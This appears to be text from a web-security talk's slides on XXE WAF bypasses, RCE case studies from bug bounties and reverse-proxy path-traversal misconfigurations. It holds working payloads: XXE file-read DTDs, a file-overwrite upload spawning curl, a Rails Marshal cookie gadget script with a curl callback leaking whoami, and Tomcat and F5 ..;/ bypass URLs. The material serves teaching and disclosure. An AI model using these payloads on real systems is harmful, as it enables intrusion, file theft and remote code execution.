- % is Hex-HTML Encoded to &x25;
- ' is Hex-HTML Encoded to &x27; ;

Response

Raw Headers Hex Render

```
</p>
<p>
<b>Message</b>
<br>#47;abcxyz#47;root:x:0:0:root:/root:/bin/bash
<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin
<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin
<br>sync:x:4:65534:sync:/bin:/bin/sync
<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin
<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<br>lpx:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
<br>proxy:x:13:18:proxy:/bin:/usr/sbin/nologin
<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
<br>list:x:38:38:Mailin List Manager:/var/list:/usr/sbin/nologin
<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
<br>gnats:x:41:41:Gnats Bug-Reporting System
<br>(/admin:/var/lib/gnats:/usr/sbin/nologin
<br>nobody:x:65534:65534:nobody:/&#47;nonexistent:/usr/sbin/nologin
<br>_apt:x:100:65534:&#47;nonexistent:/&#47;us&#47;sbin&#47;nologin (No such file or directory)
```

Converted text

Copy to clipboard

Contents of /etc/passwd listed

0 matches

AUTOMATED EXPLOITATION

- GoSecure DTD Finder <https://github.com/GoSecure/dtd-finder/>

- Export Docker container as a FileSystem

```
$ docker export {container} -o jboss.tar  
$ java -jar dtd-finder-1.0-all.jar jboss.tar
```

- Finds and looks for Injectable Entities in DTDs/JARs containing DTD

```
[=] Found a DTD: /usr/lib/jvm/jdk1.8.0_191/lib/visualvm/platform/core/core.jar!/org/netbeans/core/startup/module-status-1_0.dtd  
esting 0 entities : []  
  
[=] Found a DTD: /usr/lib/jvm/jdk1.8.0_191/lib/visualvm/platform/core/org-openide-filesystems.jar!/org/netbeans/modules/openide/filesystems/declmime/resolver.dtd  
esting 2 entities : [xml-rules-component, components]  
[+] The entity xml-rules-component is injectable  
[+] The entity components is injectable
```

WAF BYPASS

- **XXE WAF Bypass**

```
<!ENTITY xxe SYSTEM "URL">
```

Usually "SYSTEM" keyword is blocked by many WAFs, In such case you can use "PUBLIC" keyword as an alternative which has helped to bypass WAFs and Exploit XXEs as SYSTEM and PUBLIC are practically synonyms

- **Using "PUBLIC" Parameter Entities**

```
<!ENTITY % xxe PUBLIC "Random Text" "URL">
```

- **Using "PUBLIC" General Entities:**

```
<!ENTITY xxe PUBLIC "Any TEXT" "URL">
```

- **Change encoding for example on UTF-16, UTF-7, etc.**

```
<?xml version="1.0" encoding="UTF-16"?>
```

and then you can put the content of XML as of UTF-16 character set which would not be detected by WAFs.

WAF BYPASS

- Tampering with doctype/entity names (XXE payloads):

```
<!DOCTYPE .. SYSTEM "http://"  
<!DOCTYPE :_-:_ SYSTEM "http://"  
<!DOCTYPE {0xdffb} SYSTEM "http://"
```

- Remove XML Declaration <?xml version="1.0" encoding="UTF-8"?>

- Adding space before the protocol

```
<!DOCTYPE .. SYSTEM " http://evil.com/1.dtd"
```

- Use netdoc:/ in place of file:///

```
<!ENTITY % data SYSTEM "netdoc:/etc/passwd">
```

- Different Encodings to bypass WAF

- %25 instead of "%"
- %26 instead of "&"
- %26%23x{hex}; instead of &#x{hex};
- % instead of %
- %26%2337%3b instead of %

WAF BYPASS EXAMPLE

- **WAF Blocking Scenario**
 - Use of <? Or <?xml
 - Use of "%" itself alone
 - Use of any
 <!ENTITY ... SYSTEM "here"...>
 - Use of
- **WAF Bypass**
 - Use "%25" instead of "%"
 - Add a whitespace character before protocol after SYSTEM/PUBLIC keyword
 - Instead of % use % or %26%2337%3b in URL encoded form

The diagram illustrates the connection between the WAF blocking scenarios and the exploit code. A large curved arrow originates from the first bullet point under 'WAF Blocking Scenario' and points to the XML code. Another curved arrow originates from the third bullet point under 'WAF Bypass' and points to the same XML code. A vertical arrow labeled 'whitespace' points upwards from the bottom of the XML code towards the first two bullet points.


```
<!DOCTYPE a [  
<!ENTITY %25local_dtd SYSTEM "file:///usr/share/nmap/nmap.dtd">  
<!ENTITY %25 attr_numeric '(aa) %23IMPLIED>  
  
    <!ENTITY %26%2337%3b file SYSTEM "file:///">>  
    <!ENTITY %26%2337%3b eval "<!ENTITY error SYSTEM  
%26%2337%3bfile:///nonexistent/%26%2337%3bfile;%26%2337%3b>">  
    <!ATTLIST nmaxprun start (bb)'>  
%25local_dtd;  
%25eval;  
]>  
<root>%26error;</root>
```

Remote Code Execution

Nailing the shell

AGENDA

- Basics of Remote Code Execution
- Remote Code Execution Case Study
 - Arbitrary file overwrite
 - Remote Code Execution via Debug Message




What is RCE?

- Not a vulnerability class in itself.
- Result of exploiting any other vulnerability class; Such as injections (OS Command injections, SSTI), other server side misconfigurations
- Allows you to execute arbitrary code/command on vulnerable server.
- Data exfiltration over OOB channel

REMOTE CODE EXECUTION CASE STUDY

Remote Code Execution via file overwrite



Arbitrary file overwrite on a python application

- Endpoint allowed uploading of files
- Changed “filename” attribute to full path.
`/etc/test.txt - 500 Server Error`
- `/tmp/test.txt - 200 OK`
- Confirmed file write to arbitrary writable directories
- Wrote file to a directory that was accessible via web app

```
POST /vulnerable/endppint/upload HTTP/1.1
Host: instance.redacted.com:8080
Connection: close
Content-Length: 225
Accept: /*
X-Requested-With: XMLHttpRequest, XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chr
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryM3QKDw618ZaANY8A
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,de;q=0.8
Cookie: session_id=e15c940129ed74b9cfb0538e7a63a9efa06ee9dd

-----WebKitFormBoundaryM3QKDw618ZaANY8A
Content-Disposition: form-data; name="file"; filename="/opt/var/reports/fff.html"
Content-Type: application/octet-stream

<script>alert(1)</script>
-----WebKitFormBoundaryM3QKDw618ZaANY8A--
```

Application Reconnaissance

While digging in a feature I came across;

```
/opt/local/phantomjs/bin/phantomjs --ignore-ssl-errors=yes /opt/resources/xyz.js  
'https://localhost:8080/REDACTED' report.rpt /opt/var/reports/3a71d03e9d584bd092968bc96dcb5f720.png
```

Observations

- PhantomJS binary was used to generate dynamic PDFs
- The first argument file path was always static `/opt/resources/xyz.js`

The screenshot shows a browser's developer tools Network tab. The tab has several filters at the top: All, HTML, CSS, JS, XHR, Fonts, Images, Media, WS, Other, Persist Logs, and Disable cache. The Response tab is currently selected. In the main table, there are multiple rows of network requests. One row, specifically the last one, is highlighted with a red border. This row corresponds to the POST request mentioned in the text above. The status bar at the bottom right of the screenshot displays the text '**Highly redacted**'.

Status	Method	File	Domain	Cause	Type	Transferred	Size	0 ms	20.48 s	40.96 s	1.02 min	Headers	Cookies	Params	Response	Timings	Stack Trace	Security
200	GET	128	.C...	stylesheet	css	cached	129.66 KB											
200	GET		.C...	stylesheet	css	cached	43.17 KB											
200	GET		.C...	stylesheet	css	cached	138.10 KB											
200	GET	8	.C...	stylesheet	css	cached	4.49 KB											
200	GET		.C...	font	html	cached	5.59 KB											
200	GET	yy	.C...	xhr	json	2.36 KB	2 B	→ 288 ms										
200	POST		.C...	xhr	json	2.33 KB	2 B	→ 295 ms										
200	POST		.C...	xhr	json	4.53 KB	30.47 KB	→ 304 ms										

status: Completed
cmd: /opt/_local/phantomjs/bin/phantomjs --ignore-ssl-errors=yes /opt/_resources/xyz.js

Highly redacted

Abusing a feature to gain RCE

We abused the feature to gain remote code execution ;)

- A javascript file at a static path on the filesystem was passed as the first argument to the phantomjs binary
- Since PhantomJS supports OS level API's in Javascript it is possible to spawn our own OS process
- Chain the previous Arbitrary file write to overwrite the js file that was getting executed by phantomjs
- Next time PDF is generated attacker controlled server side javascript is ran
- Pop shell! Get bounty!

Overwriting the JS file

Request

Raw Params Headers Hex

```
1 POST /vulnerable/endpoint/upload HTTP/1.1
2 Host: instance.redacted.com:8080
3 Connection: close
4 Content-Length: 239
5 Accept: */*
6 X-Requested-With: XMLHttpRequest, XMLHttpRequest
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/79.0.3945.117 Safari/537.36
8 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryM3QKDw618ZaANY8A
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: cors
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9,de;q=0.8
13 Cookie: session_id=e15c940129ed74b9cfb0538e7a63a9efa06ee9dd
14
15 ----WebKitFormBoundaryM3QKDw618ZaANY8A
16 Content-Disposition: form-data; name="file"; filename="/opt/resources/xyz.js"
17 Content-Type: application/octet-stream
18
19 var process = require("child_process")
20 var spawn = process.spawn
21 var execFile = process.execFile
22 var child = spawn("/usr/bin/curl", ["curlexecuted.wrrjpdndl03ti0pjz18bkv0dt4zunj.burpcollaborator.net"])
23 phantom.exit();
24 ----WebKitFormBoundaryM3QKDw618ZaANY8A--
25
```

Send request to generate PDF

And our command executed ;)
This is not actual PoC

Poll every seconds [Poll now](#)

#	Time	Type	Payload	Comment
1	2020-Aug-20 17:41:53 UTC	DNS	wrrjpdndl03ti0pjz18bkv0dt4zunj	
2	2020-Aug-20 17:41:53 UTC	HTTP	wrrjpdndl03ti0pjz18bkv0dt4zunj	
3	2020-Aug-20 17:41:54 UTC	HTTP	wrrjpdndl03ti0pjz18bkv0dt4zunj	
4	2020-Aug-20 17:41:53 UTC	HTTP	wrrjpdndl03ti0pjz18bkv0dt4zunj	

[Description](#) [DNS query](#)


The Collaborator server received a DNS lookup of type A for the domain name `curlexecuted.wrrjpdndl03ti0pjz18bkv0dt4zunj.burpcollaborator.net`.

77XXXX Remote Code Execution by overwriting xyz.js

State	● Resolved (Closed)	Severity	Critical (9 ~ 10)
Reported To	Private Program	Participants	 (Manage collaborators)
Asset	https://REDACTED.com (Domain)	Visibility	Private
Weakness	OS Command Injection		
Bounty	\$2,500		

REMOTE CODE EXECUTION CASE STUDY

Remote Code Execution via Debug Mode



App secret leak

- Fuzzed with URL-Encoded characters
- Rails got an exception
- Show exceptions (Debug) mode on?
- Exception message leaked the app secret.

Rack::Lint::LintError at /hq/
invalid header value Content-Disposition: "attachment; filename=\"ggg\r.csv\""
Ruby /app
Web GET
rt.rb: in assert, line 19
ad

Jump to:
[GET](#) | [POST](#) | [Cookies](#) | [ENV](#)

Traceback (innermost first)

.28", "REQUEST_METHOD"=>"POST", "REQUEST_PATH"=>"/hq/99de0366-f6db-4fd2-b7bf-701dfb1bf349/csvDownload", "PATH_INFO"=>"/hq/99de0366-f6db-4fd2-b7bf-701dfb1bf349/csvDownload", "HTTP_HOST"=>"FoMGFBU1c3NEF6R1QzL2ZBQkUvS20rWT0G0wBGSSIzdz2FyZGVuLnVzZXIudXN1ci5rZXkGOwBUwhJIGlVc2VyBjsAR1sGbzoUVVVJRFrb2xz0jpVU1EDTo0QHRpb=:>[:password], "action_dispatch.secret_token"=>"247d3139b8dd29973a458ccf3c13f62fef4bc963965379443d01575bb27282ce935698eea71d33705572fc025e58 @config=#<Honeybadger::Config:0x005572fbfea1f0 ...>, @tty=false, @tty_level=0, @logger=#<Honeybadger::Logging::FileLogger:0x005572fc025e58>, "rack-cache.ignore_headers"=>["Set-Cookie"], "rack-cache.private_headers"=>["Authorization", "Cookie"], "rack-cache.allow_re

How Rails Cookies Work?

- Rails cookies format is like <Base64>--<signature>
- Altering the payload part (base64) would result in signature mismatch
- Cookies are signed using a secret token stored in rails app configuration
- A leaked app secret could be used to sign a malicious cookie and lead to escalated access depending on the application functionality/configuration
- Cookies in rails are serialised generally in two formats, JSON & Marshal.


Marshal serialization format

- Basically serialization/deserialization of object is called Marshalling/UnMarshalling in Ruby
- Marshalling is a standardized representation of an object
- Cookies in rails are usually by default* **UnMarshalled**
- Manipulate the Payload part of the Cookie and replace it with a Crafted Marshalled Object
- UnMarshalling is done on the Cookie and a specific Gadget is called resulting in RCE

Rails RCE Deserialization gadget chain

```
1 #THIS IS COPIED FROM SOME WHERE. I just saved it in my gists so this can come handy to others
2 require 'base64'
3 require 'openssl'
4 require 'optparse'
5 require 'open-uri'
6 SECRET_TOKEN = "SECRET HERE"
7 code = "eval(`COMMAND HERE`)"
8 marshal_payload = Base64.encode64(
9     "\x04\x08" +
10    "o" +
11    ":\\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" +
12    "\\x07" +
13        ":\\x0E@instance" +
14        "o" + ":\\x08ERB" + "\\x06" +
15        ":\\x09@src" +
16        Marshal.dump(code)[2..-1] +
17        ":\\x0C@method" + ":\\x0Bresult"
18 ).chomp
19 digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"),
20     SECRET_TOKEN, marshal_payload)
21 marshal_payload = URI::encode(marshal_payload)
22 puts "#{marshal_payload}--#{digest}"
```

RCE via Crafted Cookies



#382182 Remote Code Execution at redacted.com

State: Resolved (Closed)

Reported To: Private Program

Severity: Critical (9 ~ 10)

Participants:

Asset: https://REDACTED.com (Domain)

Visibility: Private

Weakness: OS Command Injection

Bounty: \$5,000

Poll every 60 seconds Poll now

#	Time	Type	Payload	Comment
17	2018-Jul-16 19:03:00 UTC	DNS	€	y
18	2018-Jul-16 19:03:00 UTC	DNS	€	y
19	2018-Jul-16 19:03:00 UTC	HTTP	€	y
20	2018-Jul-16 19:03:00 UTC	HTTP	€	y
21	2018-Jul-16 19:03:00 UTC	HTTP	€	y

Description Request to Collaborator Response from Collaborator

Raw Headers Hex

GET /app HTTP/1.1

User-Agent: curl/7.35.0

Host: ezo... Jj69uy.burpcollaborator.net

Accept: */*

root@[REDACTED]:~# cat x.rb

```
require 'base64'
require 'openssl'
require 'optparse'
require 'open-uri'
SECRET_TOKEN = "24"
code = "eval(`curl ezhxkzbqe2pslaz05jir4ds0j69uy.burpcollaborator.net/${whoami}`)"
marshal_payload = Base64.encode64(
  "\x04\x08" +
  "0" +
  ":\"x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" +
  "\x07" +
  "...\\vAE@instance" +
```

Remember this?

```
require 'sinatra'  
require 'open-uri'  
  
get '/' do  
  | format 'RESPONSE: %s', open(params[:url]).read  
end
```



If `path` starts with a pipe character ("|"), a subprocess is created, connected to the `caller` by a pair of pipes. The returned `IO` object may be used to write to the standard input and read from the standard output of this subprocess.

ATTENTION, Go stretch your legs.!




Reverse Proxies


Your entrypoint to ~~hack~~ a multi-layered architecture

AGENDA

- Basics of Reverse Proxy
- Common Misconfigurations in Reverse Proxy
- Basics of processing done by different Servers
- Nginx Reverse Proxy + Tomcat
- Nginx & Apache Misconfigurations
- Nginx Reverse Proxy + Apache



Reverse Proxies in a nutshell



Reverse Proxies in a nutshell

- Web Servers (Nginx, Apache, etc.) configuration consists of various “rules”
- Rules can be based on
 - **Path**
 - **Host Header**
- Based on a URI Path/Host Header’s prefix/suffix/regex the request is proxied to another Host (Backend)
- Rules decides the final routing of the requests to the Backend

Why Reverse Proxies?

- Rev Proxies makes it possible to proxy clients request to a correct microservice without exposing them based on Path/Headers.
- Caching static responses.
- Since, there could be different Web servers (Frontend & Backend) in conjunction various inconsistencies arises with them.

Common Server level Misconfigurations

- Web Root Path Traversal
- SSRF
- Access Control Bypass

Path Parameters in Java based Servers

- Similar to Query strings (?a=1&b=2) but delimited by ";"
- Example: "/index.jsp;x=1;y=2" consists of path parameters x & y
- Having extraneous ";" also won't affect loading the file
- Example: "/**index.jsp**"; would still return "/index.jsp" content
- <https://tools.ietf.org/html/rfc6570#page-25>

Path Parameters in Tomcat

```
candidate = removePathParameters(candidate);
candidate = UDecoder.URLDecode(candidate, connector.getURIC charset());
candidate = org.apache.tomcat.util.http.RequestUtil.normalize(candidate);
```

Tomcat parses the Path in the following manner

- Remove Path Parameters - beginning from ";" until position of "/"

<https://github.com/apache/tomcat/blob/f3c9fdd40bdb3dc22b512596954e2bc6d424d5a/java/org/apache/catalina/connector/Request.java#L2117-L2140>

Example:

"/xyz;test=1/index.jsp" would become "/xyz/index.jsp"

"/xyz;/index.jsp" would become "/xyz/index.jsp"

- URL Decodes the path
- Normalizes the path (basically resolves ../../ or multiple /// etc.)

Nginx as a Reverse Proxy

Example Rule #1

nginx.conf:

```
server {  
  
    location /app1 {                      # Matches the Prefix /app1*  
        proxy_pass http://internal.app;  
    }  
}
```

Any HTTP request to Nginx server with path **/app1<anything here>** would be proxied to
[>/<anything here>](http://internal.app)

Nginx as a Reverse Proxy

Example Rule #2

nginx.conf:

```
server {  
  
    location ~ ^/app2/(.*\.jpg)$ {  
        proxy_pass http://internal.app/app2/$1;    # .jpg in /app2/ directory  
    }  
}
```

Any HTTP request to Nginx server with path `/app2/<anything>.jpg` would be proxied to
<http://internal.app/app2/<anything>.jpg>

Nginx as a Reverse Proxy

Processings done by Nginx:

- URL decodes once & normalizes the path e.g. `../`, `%2f..%2f` etc. (`../` is not normalized) before matching location rule
- Ignores `#` URI Fragment part
- doesn't allow `%2f` as the first slash and `///` (multiple slashes) becomes `/`
- if root trailing `'/'` is missing in proxy_pass argument, unprocessed raw path is sent as is

Nginx + Tomcat

```
server {  
  
    location /app {  
        proxy_pass http://internal.app:8080/public/;  
  
    }  
}
```



Any HTTP request to Nginx server with path `/app<anything here>` would be proxied to the Tomcat server running on local interface at [`http://internal.app:8080/public/<anything here>`](http://internal.app:8080/public/<anything here>)

Nginx + Tomcat Misconfiguration

Examples:

- `http://site.com/app` would match the rule “/app” and proxy it to `http://internal.app:8080/public/` internally
- `http://site.com/appxxxxx` would also match the rule “/app” and proxy it to `http://internal.app:8080/public/xxxxx` internally

Nginx + Tomcat Misconfiguration


- Suppose there exists an unauth internal API/path/file or say Tomcat Manager running with default credentials on the Tomcat server.
- Remember the <http://internal.app:8080> service is not exposed externally
- <http://site.com/app>/... would be processed by Nginx to "/" and will look for the rule "/" instead of "/app"
- Therefore, /.../ of %2f..%2f or similar variations won't work

Meet semicolon: ..;/ is the new ../ of tomcat.

Exploit:

<http://site.com/app/..;/secretapi/users>

<http://site.com/app/..;/manager/html>



The Tomcat Servlet/JSP Container

Tomcat Web Application Manager

Message: OK

Manager

List Applications

HTML Manager Help


Applications

Path	Version	Display Name	Running	Sessions
/	None specified	Welcome to Tomcat	true	0
/docs	None specified	Tomcat Documentation	true	0

Response

Raw Headers Hex Render

```
1 HTTP/1.1 200
2 Server: nginx/1.14.0 (Ubuntu)
3 Date: Tue, 14 Jul 2020 19:12:54 GMT
4 Content-Type: text/html
5 Connection: close
6 ETag: W/"41-1594752880019"
7 Last-Modified: Tue, 14 Jul 2020 18:54:40 GMT
8 Content-Length: 41
9
10 Internal API - FOR INTERNAL PURPOSE ONLY
11
```



Nginx Path Traversal Misconfiguration #1

```
server {  
  
    location /api {                                # Notice the Missing trailing slash  
        proxy_pass http://internal.app/public-api/;  
  
    }  
}
```

Exploit Example:

<http://site.com>/api.../internal-api/users would match the prefix rule “/api” and route it to
http://internal.app/public-api/..../internal-api/users which becomes
<http://internal.app/internal-api/users>

Nginx Path Traversal Misconfiguration #2

```
server {  
  
    location /static {  
        alias /home/app/static/;  
  
    }  
}
```

“**alias**” directive in Nginx allows to load files directly from a directory on the server’s local filesystem, usually used for loading static contents.

Example: <http://site.com/static/image.jpg> would load “image.jpg” from the path
“/home/app/static/image.jpg”

Nginx Path Traversal Misconfiguration #2

```
server {  
  
    location /static {  
        alias /home/app/static/;          # Notice the trailing slash  
                                         # Notice the trailing slash  
  
    }  
}
```

Exploit Example:

<http://site.com/static..../settings.py> here, “/static..../settings.py” is substituted with its alias “/home/app/static/..../settings.py” i.e. /home/app/settings.py which will contains App secrets/keys/passwords etc.

Apache as a Reverse Proxy

Example Rule #1

Apache-default.conf:

```
<VirtualHost *:80>
    ProxyPreserveHost On
    ProxyPass /app http://internal.app/
</VirtualHost>
```

Any HTTP request to Apache server with path `/app/<anything here>` would be proxied to <http://internal.app/><anything here>,

Apache as a Reverse Proxy

Processings done by Apache:

- URL decodes once & normalizes the path before matching location rule
- //// (multiple slashes) becomes / if it's in the beginning eg. ///path/ => /path
- Afterwards, /path1//path2/ Apache treats // as an individual directory with blank name
- Sends processed request

Can you spot the misconfiguration here?

Apache-default.conf:

```
<VirtualHost *:80>
    ProxyPreserveHost On
    ProxyPassMatch "^/img/(.*)$" "http://user-images.s3.amazonaws.com\$1"

    <Location /app/private>
        Order Allow,Deny
        Deny from all
    </Location>
</VirtualHost>
```

Apache SSRF Misconfiguration

Apache-default.conf:

```
<VirtualHost *:80>
    ProxyPreserveHost On
    ProxyPassMatch "^/img/(.*)$" "http://user-images.s3.amazonaws.com\$1"
    <Location /app/private>
        Order Allow,Deny
        Deny from all
    </Location>
</VirtualHost>
```

Any HTTP request to Apache server with path `/img/@evil.com/` or `/img/.evil.com/` would now allow to make arbitrary server side requests to evil.com via reverse proxy.

http://foo@**evil**.com:80



Got a sweet SSRF a couple of days ago when I realised the path say /adminapi/ and /adminapi both responded the same way - tried /adminapi@mysite.com/ - response SSRF (https only) and leaked bearer to access API externally as administrator (403 via main site).



3:01 PM · Jul 8, 2020 · Twitter Web App

Missing trailing slash

```
root@648c2760b9b4:/etc/apache2/sites-enabled# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0 (Ethernet)
        RX packets 281 bytes 46912 (46.9 KB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 204 bytes 43500 (43.5 KB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 62 bytes 12292 (12.2 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 62 bytes 12292 (12.2 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@648c2760b9b4:/etc/apache2/sites-enabled# cat 000-default.conf
<VirtualHost *:80>
    ProxyPreserveHost On
    ProxyPassMatch "^/img/(.*)$" "http://user-images.s3.amazonaws.com$1"
    <Location /app/private>
        Order deny,allow
        Deny from all
        Allow from 127.0.0.0/255.0.0.0 ::1/128
    </Location>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
root@648c2760b9b4:/etc/apache2/sites-enabled#
```



Nginx (Reverse proxy) + Apache (Backend)

nginx.conf:

```
server {  
    location / {  
        proxy_pass http://apache.internal;  
    }  
    location /protected/ {  
        deny all; return 403;  
    }  
}
```

USE CASE:

<http://site.com/protected> => Nginx 403
Forbidden

<http://site.com/test> =>
<http://apache.internal/test>

Nginx (Reverse proxy) + Apache (Backend) Misconfiguration

nginx.conf:

```
server {  
location / {  
    proxy_pass http://apache.internal;  
}  
location /protected {  
deny all; return 403;  
}  
}
```

Exploit Example:

<http://apache.internal/protected//../>

Nginx + Apache Misconfiguration

How?

http://site.com/protected => 403 Forbidden (Nginx)

http://site.com/x// => [P] http://apache.internal/x//

http://site.com/x///.. => [P] http://apache.internal/x///.. => [N] http://apache.internal/x/


http://site.com/protected//.. => [P] http://apache.internal/protected//.. => [N]
http://apache.internal/protected

```
location / {  
    proxy_pass http://apache.internal;  
}  
location /protected/ {  
    deny all; return 403;  
}
```

Missing trailing slash

[P] = Proxy Pass , [N] = Normalize

REVERSE PROXY MISCONFIGURATION CASE STUDIES



Case Study on F5 TMUI RCE

proxy_ajp.conf

```
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
```

Apache as Reverse proxy + Apache Tomcat as Backend

Case Study on F5 TMUI RCE

/tmui/(.*\.jsp.*) will proxy pass it to ajp://localhost:8009/tmui/<any thing>.jsp<any thing>

/tmui/login.jsp is a file which could be accessed unauthenticated

/tmui/login.jsp/..;/ is proxy passed as ajp://localhost:8009/tmui/login.jsp/..;/ which becomes

- a. Remove Path Parameters:

"/tmui/**login.jsp/..;/**" => "/tmui/login.jsp/..;"

- b. URL Decodes:

"/tmui/login.jsp/..;" => "/tmui/login.jsp/..;"

- c. Normalizes:

"/tmui/login.jsp/..;" => "/tmui/"

Case Study on F5 TMUI RCE

Local File Read

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

- a. Remove Path Parameters
- b. URL Decodes
- c. Normalizes

ajp://localhost:8009/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

Apache as Reverse Proxy + Tomcat


- Same as Nginx + Tomcat Misconfiguration
- Jolokia endpoint otherwise forbidden at Apache Reverse Proxy end
- Accessible '/allowed/...;/jolokia'
- Old version of jolokia vulnerable to XSS & RCE
- Profit!



USE CASE:

<http://site.com/jolokia> => Apache 403
Forbidden

<http://site.com/login/...;/jolokia> => Bypassed



Thank You

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- <https://github.com/GoSecure/dtd-finder> (Tool For Finding DTDs & Overwritable Entities given a Docker Container)
- <https://www.noob.ninja/2019/12/spilling-local-files-via-xxe-when-http.html>
- <https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf>
- <https://2018.zeronights.ru/wp-content/uploads/materials/20-Reverse-proxies-Inconsistency.pdf>
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